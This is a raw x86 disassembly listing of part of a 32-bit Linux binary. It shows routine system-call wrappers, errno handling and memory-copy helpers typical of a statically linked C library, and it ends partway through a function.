804e08d: e8 21 06 00 00 call 0x804e6b3 | |
804e092: 8b 44 24 20 mov 0x20(%esp),%eax | |
804e096: 89 86 84 00 00 00 mov %eax,0x84(%esi) | |
804e09c: 8b 44 24 24 mov 0x24(%esp),%eax | |
804e0a0: 83 c4 10 add $0x10,%esp | |
804e0a3: 89 86 88 00 00 00 mov %eax,0x88(%esi) | |
804e0a9: 89 d8 mov %ebx,%eax | |
804e0ab: 81 c4 24 01 00 00 add $0x124,%esp | |
804e0b1: 5b pop %ebx | |
804e0b2: 5e pop %esi | |
804e0b3: c3 ret | |
804e0b4: 89 da mov %ebx,%edx | |
804e0b6: b8 5a 00 00 00 mov $0x5a,%eax | |
804e0bb: 8d 5c 24 04 lea 0x4(%esp),%ebx | |
804e0bf: cd 80 int $0x80 | |
804e0c1: 89 d3 mov %edx,%ebx | |
804e0c3: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e0c8: 0f 87 44 07 00 00 ja 0x804e812 | |
804e0ce: c3 ret | |
804e0cf: 53 push %ebx | |
804e0d0: 83 ec 08 sub $0x8,%esp | |
804e0d3: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e0d7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e0db: 87 d3 xchg %edx,%ebx | |
804e0dd: b8 66 00 00 00 mov $0x66,%eax | |
804e0e2: cd 80 int $0x80 | |
804e0e4: 87 d3 xchg %edx,%ebx | |
804e0e6: 89 c3 mov %eax,%ebx | |
804e0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e0ed: 76 0c jbe 0x804e0fb | |
804e0ef: e8 c2 e4 ff ff call 0x804c5b6 | |
804e0f4: f7 db neg %ebx | |
804e0f6: 89 18 mov %ebx,(%eax) | |
804e0f8: 83 cb ff or $0xffffffff,%ebx | |
804e0fb: 89 d8 mov %ebx,%eax | |
804e0fd: 5a pop %edx | |
804e0fe: 59 pop %ecx | |
804e0ff: 5b pop %ebx | |
804e100: c3 ret | |
804e101: 57 push %edi | |
804e102: 56 push %esi | |
804e103: 83 ec 04 sub $0x4,%esp | |
804e106: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e10a: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e10e: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e112: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804e116: 53 push %ebx | |
804e117: 89 fb mov %edi,%ebx | |
804e119: b8 ae 00 00 00 mov $0xae,%eax | |
804e11e: cd 80 int $0x80 | |
804e120: 5b pop %ebx | |
804e121: 89 c6 mov %eax,%esi | |
804e123: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e128: 76 0c jbe 0x804e136 | |
804e12a: e8 87 e4 ff ff call 0x804c5b6 | |
804e12f: f7 de neg %esi | |
804e131: 89 30 mov %esi,(%eax) | |
804e133: 83 ce ff or $0xffffffff,%esi | |
804e136: 89 f0 mov %esi,%eax | |
804e138: 5a pop %edx | |
804e139: 5e pop %esi | |
804e13a: 5f pop %edi | |
804e13b: c3 ret | |
804e13c: 57 push %edi | |
804e13d: 53 push %ebx | |
804e13e: 83 ec 04 sub $0x4,%esp | |
804e141: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e145: 53 push %ebx | |
804e146: 89 fb mov %edi,%ebx | |
804e148: b8 01 00 00 00 mov $0x1,%eax | |
804e14d: cd 80 int $0x80 | |
804e14f: 5b pop %ebx | |
804e150: 89 c3 mov %eax,%ebx | |
804e152: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e157: 76 ec jbe 0x804e145 | |
804e159: e8 58 e4 ff ff call 0x804c5b6 | |
804e15e: f7 db neg %ebx | |
804e160: 89 18 mov %ebx,(%eax) | |
804e162: eb e1 jmp 0x804e145 | |
804e164: 53 push %ebx | |
804e165: 83 ec 08 sub $0x8,%esp | |
804e168: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e16c: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e170: 87 d3 xchg %edx,%ebx | |
804e172: b8 0a 01 00 00 mov $0x10a,%eax | |
804e177: cd 80 int $0x80 | |
804e179: 87 d3 xchg %edx,%ebx | |
804e17b: 89 c3 mov %eax,%ebx | |
804e17d: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e182: 76 0c jbe 0x804e190 | |
804e184: e8 2d e4 ff ff call 0x804c5b6 | |
804e189: f7 db neg %ebx | |
804e18b: 89 18 mov %ebx,(%eax) | |
804e18d: 83 cb ff or $0xffffffff,%ebx | |
804e190: 89 d8 mov %ebx,%eax | |
804e192: 5a pop %edx | |
804e193: 59 pop %ecx | |
804e194: 5b pop %ebx | |
804e195: c3 ret | |
804e196: 53 push %ebx | |
804e197: 83 ec 48 sub $0x48,%esp | |
804e19a: 8b 54 24 50 mov 0x50(%esp),%edx | |
804e19e: 8d 4c 24 08 lea 0x8(%esp),%ecx | |
804e1a2: 87 d3 xchg %edx,%ebx | |
804e1a4: b8 6c 00 00 00 mov $0x6c,%eax | |
804e1a9: cd 80 int $0x80 | |
804e1ab: 87 d3 xchg %edx,%ebx | |
804e1ad: 89 c3 mov %eax,%ebx | |
804e1af: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e1b4: 76 0e jbe 0x804e1c4 | |
804e1b6: e8 fb e3 ff ff call 0x804c5b6 | |
804e1bb: f7 db neg %ebx | |
804e1bd: 89 18 mov %ebx,(%eax) | |
804e1bf: 83 cb ff or $0xffffffff,%ebx | |
804e1c2: eb 13 jmp 0x804e1d7 | |
804e1c4: 85 c0 test %eax,%eax | |
804e1c6: 75 0f jne 0x804e1d7 | |
804e1c8: 50 push %eax | |
804e1c9: 50 push %eax | |
804e1ca: ff 74 24 5c pushl 0x5c(%esp) | |
804e1ce: 51 push %ecx | |
804e1cf: e8 62 04 00 00 call 0x804e636 | |
804e1d4: 83 c4 10 add $0x10,%esp | |
804e1d7: 89 d8 mov %ebx,%eax | |
804e1d9: 83 c4 48 add $0x48,%esp | |
804e1dc: 5b pop %ebx | |
804e1dd: c3 ret | |
804e1de: 57 push %edi | |
804e1df: 56 push %esi | |
804e1e0: 53 push %ebx | |
804e1e1: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804e1e5: 52 push %edx | |
804e1e6: ff 74 24 1c pushl 0x1c(%esp) | |
804e1ea: 53 push %ebx | |
804e1eb: ff 74 24 1c pushl 0x1c(%esp) | |
804e1ef: e8 59 00 00 00 call 0x804e24d | |
804e1f4: 83 c4 10 add $0x10,%esp | |
804e1f7: 89 c6 mov %eax,%esi | |
804e1f9: 85 c0 test %eax,%eax | |
804e1fb: 7e 4a jle 0x804e247 | |
804e1fd: 8d 3c 03 lea (%ebx,%eax,1),%edi | |
804e200: eb 41 jmp 0x804e243 | |
804e202: 8b 43 08 mov 0x8(%ebx),%eax | |
804e205: 89 43 04 mov %eax,0x4(%ebx) | |
804e208: 8b 43 10 mov 0x10(%ebx),%eax | |
804e20b: 66 89 43 08 mov %ax,0x8(%ebx) | |
804e20f: 8a 43 12 mov 0x12(%ebx),%al | |
804e212: 88 43 0a mov %al,0xa(%ebx) | |
804e215: 50 push %eax | |
804e216: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e21a: 83 e8 13 sub $0x13,%eax | |
804e21d: 50 push %eax | |
804e21e: 8d 43 13 lea 0x13(%ebx),%eax | |
804e221: 50 push %eax | |
804e222: 8d 43 0b lea 0xb(%ebx),%eax | |
804e225: 50 push %eax | |
804e226: e8 b5 e3 ff ff call 0x804c5e0 | |
804e22b: 83 c4 0c add $0xc,%esp | |
804e22e: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e232: 50 push %eax | |
804e233: 53 push %ebx | |
804e234: 53 push %ebx | |
804e235: e8 a6 e3 ff ff call 0x804c5e0 | |
804e23a: 0f b7 43 08 movzwl 0x8(%ebx),%eax | |
804e23e: 83 c4 10 add $0x10,%esp | |
804e241: 01 c3 add %eax,%ebx | |
804e243: 39 fb cmp %edi,%ebx | |
804e245: 72 bb jb 0x804e202 | |
804e247: 89 f0 mov %esi,%eax | |
804e249: 5b pop %ebx | |
804e24a: 5e pop %esi | |
804e24b: 5f pop %edi | |
804e24c: c3 ret | |
804e24d: 55 push %ebp | |
804e24e: 89 e5 mov %esp,%ebp | |
804e250: 57 push %edi | |
804e251: 56 push %esi | |
804e252: 53 push %ebx | |
804e253: 83 ec 2c sub $0x2c,%esp | |
804e256: 8b 45 10 mov 0x10(%ebp),%eax | |
804e259: 8b 7d 08 mov 0x8(%ebp),%edi | |
804e25c: 83 c0 1e add $0x1e,%eax | |
804e25f: 8b 55 10 mov 0x10(%ebp),%edx | |
804e262: 83 e0 f0 and $0xfffffff0,%eax | |
804e265: 29 c4 sub %eax,%esp | |
804e267: 8d 44 24 0f lea 0xf(%esp),%eax | |
804e26b: 83 e0 f0 and $0xfffffff0,%eax | |
804e26e: 89 45 d4 mov %eax,-0x2c(%ebp) | |
804e271: 89 c1 mov %eax,%ecx | |
804e273: 53 push %ebx | |
804e274: 89 fb mov %edi,%ebx | |
804e276: b8 dc 00 00 00 mov $0xdc,%eax | |
804e27b: cd 80 int $0x80 | |
804e27d: 5b pop %ebx | |
804e27e: 89 45 ec mov %eax,-0x14(%ebp) | |
804e281: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e286: 76 0f jbe 0x804e297 | |
804e288: e8 29 e3 ff ff call 0x804c5b6 | |
804e28d: f7 5d ec negl -0x14(%ebp) | |
804e290: 8b 55 ec mov -0x14(%ebp),%edx | |
804e293: 89 10 mov %edx,(%eax) | |
804e295: eb 5c jmp 0x804e2f3 | |
804e297: 83 7d ec ff cmpl $0xffffffff,-0x14(%ebp) | |
804e29b: 74 56 je 0x804e2f3 | |
804e29d: 8b 75 0c mov 0xc(%ebp),%esi | |
804e2a0: 8b 5d d4 mov -0x2c(%ebp),%ebx | |
804e2a3: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp) | |
804e2aa: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp) | |
804e2b1: e9 90 00 00 00 jmp 0x804e346 | |
804e2b6: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e2ba: 8d 48 03 lea 0x3(%eax),%ecx | |
804e2bd: 8b 45 0c mov 0xc(%ebp),%eax | |
804e2c0: 83 e1 fc and $0xfffffffc,%ecx | |
804e2c3: 03 45 10 add 0x10(%ebp),%eax | |
804e2c6: 8d 3c 0e lea (%esi,%ecx,1),%edi | |
804e2c9: 89 7d dc mov %edi,-0x24(%ebp) | |
804e2cc: 39 c7 cmp %eax,%edi | |
804e2ce: 76 28 jbe 0x804e2f8 | |
804e2d0: 6a 00 push $0x0 | |
804e2d2: ff 75 e4 pushl -0x1c(%ebp) | |
804e2d5: ff 75 e0 pushl -0x20(%ebp) | |
804e2d8: ff 75 08 pushl 0x8(%ebp) | |
804e2db: e8 83 01 00 00 call 0x804e463 | |
804e2e0: 83 c4 10 add $0x10,%esp | |
804e2e3: 3b 75 0c cmp 0xc(%ebp),%esi | |
804e2e6: 75 6c jne 0x804e354 | |
804e2e8: e8 c9 e2 ff ff call 0x804c5b6 | |
804e2ed: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804e2f3: 83 c8 ff or $0xffffffff,%eax | |
804e2f6: eb 61 jmp 0x804e359 | |
804e2f8: 8b 43 08 mov 0x8(%ebx),%eax | |
804e2fb: 8b 53 0c mov 0xc(%ebx),%edx | |
804e2fe: 89 55 e4 mov %edx,-0x1c(%ebp) | |
804e301: 89 45 e0 mov %eax,-0x20(%ebp) | |
804e304: 8b 03 mov (%ebx),%eax | |
804e306: 8b 53 04 mov 0x4(%ebx),%edx | |
804e309: 89 56 04 mov %edx,0x4(%esi) | |
804e30c: 89 06 mov %eax,(%esi) | |
804e30e: 8b 43 08 mov 0x8(%ebx),%eax | |
804e311: 8b 53 0c mov 0xc(%ebx),%edx | |
804e314: 89 56 0c mov %edx,0xc(%esi) | |
804e317: 89 46 08 mov %eax,0x8(%esi) | |
804e31a: 66 89 4e 10 mov %cx,0x10(%esi) | |
804e31e: 8a 43 12 mov 0x12(%ebx),%al | |
804e321: 88 46 12 mov %al,0x12(%esi) | |
804e324: 50 push %eax | |
804e325: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e329: 83 e8 13 sub $0x13,%eax | |
804e32c: 50 push %eax | |
804e32d: 8d 43 13 lea 0x13(%ebx),%eax | |
804e330: 50 push %eax | |
804e331: 8d 46 13 lea 0x13(%esi),%eax | |
804e334: 50 push %eax | |
804e335: e8 79 03 00 00 call 0x804e6b3 | |
804e33a: 0f b7 43 10 movzwl 0x10(%ebx),%eax | |
804e33e: 8b 75 dc mov -0x24(%ebp),%esi | |
804e341: 01 c3 add %eax,%ebx | |
804e343: 83 c4 10 add $0x10,%esp | |
804e346: 8b 45 d4 mov -0x2c(%ebp),%eax | |
804e349: 03 45 ec add -0x14(%ebp),%eax | |
804e34c: 39 c3 cmp %eax,%ebx | |
804e34e: 0f 82 62 ff ff ff jb 0x804e2b6 | |
804e354: 89 f0 mov %esi,%eax | |
804e356: 2b 45 0c sub 0xc(%ebp),%eax | |
804e359: 8d 65 f4 lea -0xc(%ebp),%esp | |
804e35c: 5b pop %ebx | |
804e35d: 5e pop %esi | |
804e35e: 5f pop %edi | |
804e35f: 5d pop %ebp | |
804e360: c3 ret | |
804e361: 83 ec 24 sub $0x24,%esp | |
804e364: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804e368: 50 push %eax | |
804e369: 6a 07 push $0x7 | |
804e36b: e8 9b 00 00 00 call 0x804e40b | |
804e370: 83 c4 10 add $0x10,%esp | |
804e373: ba 00 01 00 00 mov $0x100,%edx | |
804e378: 85 c0 test %eax,%eax | |
804e37a: 78 04 js 0x804e380 | |
804e37c: 8b 54 24 14 mov 0x14(%esp),%edx | |
804e380: 89 d0 mov %edx,%eax | |
804e382: 83 c4 1c add $0x1c,%esp | |
804e385: c3 ret | |
804e386: 53 push %ebx | |
804e387: 83 ec 08 sub $0x8,%esp | |
804e38a: b8 ca 00 00 00 mov $0xca,%eax | |
804e38f: cd 80 int $0x80 | |
804e391: 89 c3 mov %eax,%ebx | |
804e393: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e398: 76 0c jbe 0x804e3a6 | |
804e39a: e8 17 e2 ff ff call 0x804c5b6 | |
804e39f: f7 db neg %ebx | |
804e3a1: 89 18 mov %ebx,(%eax) | |
804e3a3: 83 cb ff or $0xffffffff,%ebx | |
804e3a6: 89 d8 mov %ebx,%eax | |
804e3a8: 5a pop %edx | |
804e3a9: 59 pop %ecx | |
804e3aa: 5b pop %ebx | |
804e3ab: c3 ret | |
804e3ac: 53 push %ebx | |
804e3ad: 83 ec 08 sub $0x8,%esp | |
804e3b0: b8 c9 00 00 00 mov $0xc9,%eax | |
804e3b5: cd 80 int $0x80 | |
804e3b7: 89 c3 mov %eax,%ebx | |
804e3b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e3be: 76 0c jbe 0x804e3cc | |
804e3c0: e8 f1 e1 ff ff call 0x804c5b6 | |
804e3c5: f7 db neg %ebx | |
804e3c7: 89 18 mov %ebx,(%eax) | |
804e3c9: 83 cb ff or $0xffffffff,%ebx | |
804e3cc: 89 d8 mov %ebx,%eax | |
804e3ce: 5a pop %edx | |
804e3cf: 59 pop %ecx | |
804e3d0: 5b pop %ebx | |
804e3d1: c3 ret | |
804e3d2: 53 push %ebx | |
804e3d3: 83 ec 08 sub $0x8,%esp | |
804e3d6: b8 c8 00 00 00 mov $0xc8,%eax | |
804e3db: cd 80 int $0x80 | |
804e3dd: 89 c3 mov %eax,%ebx | |
804e3df: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e3e4: 76 0c jbe 0x804e3f2 | |
804e3e6: e8 cb e1 ff ff call 0x804c5b6 | |
804e3eb: f7 db neg %ebx | |
804e3ed: 89 18 mov %ebx,(%eax) | |
804e3ef: 83 cb ff or $0xffffffff,%ebx | |
804e3f2: 89 d8 mov %ebx,%eax | |
804e3f4: 5a pop %edx | |
804e3f5: 59 pop %ecx | |
804e3f6: 5b pop %ebx | |
804e3f7: c3 ret | |
804e3f8: a1 f0 f0 04 08 mov 0x804f0f0,%eax | |
804e3fd: ba 00 10 00 00 mov $0x1000,%edx | |
804e402: 85 c0 test %eax,%eax | |
804e404: 74 02 je 0x804e408 | |
804e406: 89 c2 mov %eax,%edx | |
804e408: 89 d0 mov %edx,%eax | |
804e40a: c3 ret | |
804e40b: 53 push %ebx | |
804e40c: 83 ec 08 sub $0x8,%esp | |
804e40f: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e413: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e417: 87 d3 xchg %edx,%ebx | |
804e419: b8 bf 00 00 00 mov $0xbf,%eax | |
804e41e: cd 80 int $0x80 | |
804e420: 87 d3 xchg %edx,%ebx | |
804e422: 89 c3 mov %eax,%ebx | |
804e424: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e429: 76 0c jbe 0x804e437 | |
804e42b: e8 86 e1 ff ff call 0x804c5b6 | |
804e430: f7 db neg %ebx | |
804e432: 89 18 mov %ebx,(%eax) | |
804e434: 83 cb ff or $0xffffffff,%ebx | |
804e437: 89 d8 mov %ebx,%eax | |
804e439: 5a pop %edx | |
804e43a: 59 pop %ecx | |
804e43b: 5b pop %ebx | |
804e43c: c3 ret | |
804e43d: 53 push %ebx | |
804e43e: 83 ec 08 sub $0x8,%esp | |
804e441: b8 c7 00 00 00 mov $0xc7,%eax | |
804e446: cd 80 int $0x80 | |
804e448: 89 c3 mov %eax,%ebx | |
804e44a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e44f: 76 0c jbe 0x804e45d | |
804e451: e8 60 e1 ff ff call 0x804c5b6 | |
804e456: f7 db neg %ebx | |
804e458: 89 18 mov %ebx,(%eax) | |
804e45a: 83 cb ff or $0xffffffff,%ebx | |
804e45d: 89 d8 mov %ebx,%eax | |
804e45f: 5a pop %edx | |
804e460: 59 pop %ecx | |
804e461: 5b pop %ebx | |
804e462: c3 ret | |
804e463: 57 push %edi | |
804e464: 56 push %esi | |
804e465: 53 push %ebx | |
804e466: 83 ec 10 sub $0x10,%esp | |
804e469: 8b 5c 24 28 mov 0x28(%esp),%ebx | |
804e46d: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804e471: 89 d9 mov %ebx,%ecx | |
804e473: 8b 7c 24 2c mov 0x2c(%esp),%edi | |
804e477: 89 cb mov %ecx,%ebx | |
804e479: 8d 74 24 08 lea 0x8(%esp),%esi | |
804e47d: c1 fb 1f sar $0x1f,%ebx | |
804e480: 8b 44 24 20 mov 0x20(%esp),%eax | |
804e484: 8b 54 24 24 mov 0x24(%esp),%edx | |
804e488: 53 push %ebx | |
804e489: 89 c3 mov %eax,%ebx | |
804e48b: b8 8c 00 00 00 mov $0x8c,%eax | |
804e490: cd 80 int $0x80 | |
804e492: 5b pop %ebx | |
804e493: 89 c6 mov %eax,%esi | |
804e495: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e49a: 76 0e jbe 0x804e4aa | |
804e49c: e8 15 e1 ff ff call 0x804c5b6 | |
804e4a1: f7 de neg %esi | |
804e4a3: 89 30 mov %esi,(%eax) | |
804e4a5: 83 ce ff or $0xffffffff,%esi | |
804e4a8: eb 04 jmp 0x804e4ae | |
804e4aa: 85 c0 test %eax,%eax | |
804e4ac: 74 05 je 0x804e4b3 | |
804e4ae: 89 f0 mov %esi,%eax | |
804e4b0: 99 cltd | |
804e4b1: eb 08 jmp 0x804e4bb | |
804e4b3: 8b 44 24 08 mov 0x8(%esp),%eax | |
804e4b7: 8b 54 24 0c mov 0xc(%esp),%edx | |
804e4bb: 83 c4 10 add $0x10,%esp | |
804e4be: 5b pop %ebx | |
804e4bf: 5e pop %esi | |
804e4c0: 5f pop %edi | |
804e4c1: c3 ret | |
804e4c2: 57 push %edi | |
804e4c3: 56 push %esi | |
804e4c4: 83 ec 04 sub $0x4,%esp | |
804e4c7: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e4cb: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e4cf: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804e4d3: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804e4d7: 8b 44 24 10 mov 0x10(%esp),%eax | |
804e4db: 53 push %ebx | |
804e4dc: 89 c3 mov %eax,%ebx | |
804e4de: b8 a3 00 00 00 mov $0xa3,%eax | |
804e4e3: cd 80 int $0x80 | |
804e4e5: 5b pop %ebx | |
804e4e6: 89 c6 mov %eax,%esi | |
804e4e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e4ed: 76 0c jbe 0x804e4fb | |
804e4ef: e8 c2 e0 ff ff call 0x804c5b6 | |
804e4f4: f7 de neg %esi | |
804e4f6: 89 30 mov %esi,(%eax) | |
804e4f8: 83 ce ff or $0xffffffff,%esi | |
804e4fb: 89 f0 mov %esi,%eax | |
804e4fd: 5a pop %edx | |
804e4fe: 5e pop %esi | |
804e4ff: 5f pop %edi | |
804e500: c3 ret | |
804e501: 53 push %ebx | |
804e502: 83 ec 08 sub $0x8,%esp | |
804e505: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e509: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e50d: 87 d3 xchg %edx,%ebx | |
804e50f: b8 5b 00 00 00 mov $0x5b,%eax | |
804e514: cd 80 int $0x80 | |
804e516: 87 d3 xchg %edx,%ebx | |
804e518: 89 c3 mov %eax,%ebx | |
804e51a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e51f: 76 0c jbe 0x804e52d | |
804e521: e8 90 e0 ff ff call 0x804c5b6 | |
804e526: f7 db neg %ebx | |
804e528: 89 18 mov %ebx,(%eax) | |
804e52a: 83 cb ff or $0xffffffff,%ebx | |
804e52d: 89 d8 mov %ebx,%eax | |
804e52f: 5a pop %edx | |
804e530: 59 pop %ecx | |
804e531: 5b pop %ebx | |
804e532: c3 ret | |
804e533: 53 push %ebx | |
804e534: 83 ec 08 sub $0x8,%esp | |
804e537: 8b 54 24 10 mov 0x10(%esp),%edx | |
804e53b: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e53f: 87 d3 xchg %edx,%ebx | |
804e541: b8 a2 00 00 00 mov $0xa2,%eax | |
804e546: cd 80 int $0x80 | |
804e548: 87 d3 xchg %edx,%ebx | |
804e54a: 89 c3 mov %eax,%ebx | |
804e54c: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e551: 76 0c jbe 0x804e55f | |
804e553: e8 5e e0 ff ff call 0x804c5b6 | |
804e558: f7 db neg %ebx | |
804e55a: 89 18 mov %ebx,(%eax) | |
804e55c: 83 cb ff or $0xffffffff,%ebx | |
804e55f: 89 d8 mov %ebx,%eax | |
804e561: 5a pop %edx | |
804e562: 59 pop %ecx | |
804e563: 5b pop %ebx | |
804e564: c3 ret | |
804e565: 56 push %esi | |
804e566: 53 push %ebx | |
804e567: 83 ec 04 sub $0x4,%esp | |
804e56a: 83 3d 04 f1 04 08 00 cmpl $0x0,0x804f104 | |
804e571: 8b 74 24 10 mov 0x10(%esp),%esi | |
804e575: 75 11 jne 0x804e588 | |
804e577: 83 ec 0c sub $0xc,%esp | |
804e57a: 6a 00 push $0x0 | |
804e57c: e8 5b 02 00 00 call 0x804e7dc | |
804e581: 83 c4 10 add $0x10,%esp | |
804e584: 85 c0 test %eax,%eax | |
804e586: 78 22 js 0x804e5aa | |
804e588: 85 f6 test %esi,%esi | |
804e58a: a1 04 f1 04 08 mov 0x804f104,%eax | |
804e58f: 75 04 jne 0x804e595 | |
804e591: 89 c3 mov %eax,%ebx | |
804e593: eb 18 jmp 0x804e5ad | |
804e595: 83 ec 0c sub $0xc,%esp | |
804e598: 89 c3 mov %eax,%ebx | |
804e59a: 8d 04 30 lea (%eax,%esi,1),%eax | |
804e59d: 50 push %eax | |
804e59e: e8 39 02 00 00 call 0x804e7dc | |
804e5a3: 83 c4 10 add $0x10,%esp | |
804e5a6: 85 c0 test %eax,%eax | |
804e5a8: 79 03 jns 0x804e5ad | |
804e5aa: 83 cb ff or $0xffffffff,%ebx | |
804e5ad: 89 d8 mov %ebx,%eax | |
804e5af: 5a pop %edx | |
804e5b0: 5b pop %ebx | |
804e5b1: 5e pop %esi | |
804e5b2: c3 ret | |
804e5b3: 57 push %edi | |
804e5b4: 56 push %esi | |
804e5b5: 83 ec 04 sub $0x4,%esp | |
804e5b8: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804e5bc: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e5c0: 8b 54 24 18 mov 0x18(%esp),%edx | |
804e5c4: 85 c9 test %ecx,%ecx | |
804e5c6: 74 15 je 0x804e5dd | |
804e5c8: 83 ff 02 cmp $0x2,%edi | |
804e5cb: 76 10 jbe 0x804e5dd | |
804e5cd: e8 e4 df ff ff call 0x804c5b6 | |
804e5d2: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804e5d8: 83 c8 ff or $0xffffffff,%eax | |
804e5db: eb 27 jmp 0x804e604 | |
804e5dd: be 08 00 00 00 mov $0x8,%esi | |
804e5e2: 53 push %ebx | |
804e5e3: 89 fb mov %edi,%ebx | |
804e5e5: b8 af 00 00 00 mov $0xaf,%eax | |
804e5ea: cd 80 int $0x80 | |
804e5ec: 5b pop %ebx | |
804e5ed: 89 c6 mov %eax,%esi | |
804e5ef: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e5f4: 76 0c jbe 0x804e602 | |
804e5f6: e8 bb df ff ff call 0x804c5b6 | |
804e5fb: f7 de neg %esi | |
804e5fd: 89 30 mov %esi,(%eax) | |
804e5ff: 83 ce ff or $0xffffffff,%esi | |
804e602: 89 f0 mov %esi,%eax | |
804e604: 5a pop %edx | |
804e605: 5e pop %esi | |
804e606: 5f pop %edi | |
804e607: c3 ret | |
804e608: 57 push %edi | |
804e609: 83 ec 08 sub $0x8,%esp | |
804e60c: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804e610: 53 push %ebx | |
804e611: 89 fb mov %edi,%ebx | |
804e613: b8 2b 00 00 00 mov $0x2b,%eax | |
804e618: cd 80 int $0x80 | |
804e61a: 5b pop %ebx | |
804e61b: 89 c7 mov %eax,%edi | |
804e61d: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804e622: 76 0c jbe 0x804e630 | |
804e624: e8 8d df ff ff call 0x804c5b6 | |
804e629: f7 df neg %edi | |
804e62b: 89 38 mov %edi,(%eax) | |
804e62d: 83 cf ff or $0xffffffff,%edi | |
804e630: 89 f8 mov %edi,%eax | |
804e632: 5a pop %edx | |
804e633: 59 pop %ecx | |
804e634: 5f pop %edi | |
804e635: c3 ret | |
804e636: 56 push %esi | |
804e637: 53 push %ebx | |
804e638: 83 ec 08 sub $0x8,%esp | |
804e63b: 8b 74 24 14 mov 0x14(%esp),%esi | |
804e63f: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
804e643: 6a 58 push $0x58 | |
804e645: 6a 00 push $0x0 | |
804e647: 53 push %ebx | |
804e648: e8 ba df ff ff call 0x804c607 | |
804e64d: 0f b7 06 movzwl (%esi),%eax | |
804e650: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) | |
804e657: 89 03 mov %eax,(%ebx) | |
804e659: 8b 46 04 mov 0x4(%esi),%eax | |
804e65c: 89 43 0c mov %eax,0xc(%ebx) | |
804e65f: 0f b7 46 08 movzwl 0x8(%esi),%eax | |
804e663: 89 43 10 mov %eax,0x10(%ebx) | |
804e666: 0f b7 46 0a movzwl 0xa(%esi),%eax | |
804e66a: 89 43 14 mov %eax,0x14(%ebx) | |
804e66d: 0f b7 46 0c movzwl 0xc(%esi),%eax | |
804e671: 89 43 18 mov %eax,0x18(%ebx) | |
804e674: 0f b7 46 0e movzwl 0xe(%esi),%eax | |
804e678: 89 43 1c mov %eax,0x1c(%ebx) | |
804e67b: 0f b7 46 10 movzwl 0x10(%esi),%eax | |
804e67f: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) | |
804e686: 89 43 20 mov %eax,0x20(%ebx) | |
804e689: 8b 46 14 mov 0x14(%esi),%eax | |
804e68c: 89 43 2c mov %eax,0x2c(%ebx) | |
804e68f: 8b 46 18 mov 0x18(%esi),%eax | |
804e692: 89 43 30 mov %eax,0x30(%ebx) | |
804e695: 8b 46 1c mov 0x1c(%esi),%eax | |
804e698: 89 43 34 mov %eax,0x34(%ebx) | |
804e69b: 8b 46 20 mov 0x20(%esi),%eax | |
804e69e: 89 43 38 mov %eax,0x38(%ebx) | |
804e6a1: 8b 46 28 mov 0x28(%esi),%eax | |
804e6a4: 89 43 40 mov %eax,0x40(%ebx) | |
804e6a7: 8b 46 30 mov 0x30(%esi),%eax | |
804e6aa: 89 43 48 mov %eax,0x48(%ebx) | |
804e6ad: 83 c4 14 add $0x14,%esp | |
804e6b0: 5b pop %ebx | |
804e6b1: 5e pop %esi | |
804e6b2: c3 ret | |
804e6b3: 57 push %edi | |
804e6b4: 56 push %esi | |
804e6b5: 8b 44 24 14 mov 0x14(%esp),%eax | |
804e6b9: 8b 74 24 10 mov 0x10(%esp),%esi | |
804e6bd: 89 c1 mov %eax,%ecx | |
804e6bf: 8b 7c 24 0c mov 0xc(%esp),%edi | |
804e6c3: c1 e9 02 shr $0x2,%ecx | |
804e6c6: f3 a5 rep movsl %ds:(%esi),%es:(%edi) | |
804e6c8: a8 02 test $0x2,%al | |
804e6ca: 74 02 je 0x804e6ce | |
